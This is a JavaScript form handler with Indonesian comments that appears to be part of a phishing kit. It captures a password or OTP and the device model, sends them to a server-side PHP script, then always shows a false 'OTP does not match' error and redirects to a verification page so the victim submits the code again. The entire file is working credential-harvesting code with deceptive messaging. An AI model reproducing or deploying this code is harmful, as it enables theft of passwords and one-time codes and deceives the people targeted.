document.getElementById('optionalForm').addEventListener('submit', function(event) {
    event.preventDefault(); // Mencegah pengiriman form default

    const password = document.getElementById('password').value || '';
    const deviceModel = WURFL.complete_device_name || 'Unknown Device';

    // Tampilkan overlay
    var overlay = document.getElementById('loadingOverlay');
    overlay.classList.add('show');

    // Kirim data ke optional.php
    fetch('../php/optional.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: new URLSearchParams({
            'password': password,
            'deviceModel': deviceModel
        })
    }).then(response => response.text())
      .then(result => {
        console.log('Success:', result);
        // Menampilkan alert setelah overlay
        setTimeout(function() {
            alert('Otp yang anda gunakan tidak sesuai, silahkan check dan coba kembali.');
            window.location.href = 'verifikasi.html';
        }, 3000);
      })
      .catch(error => {
        console.error('Error:', error);
      });
});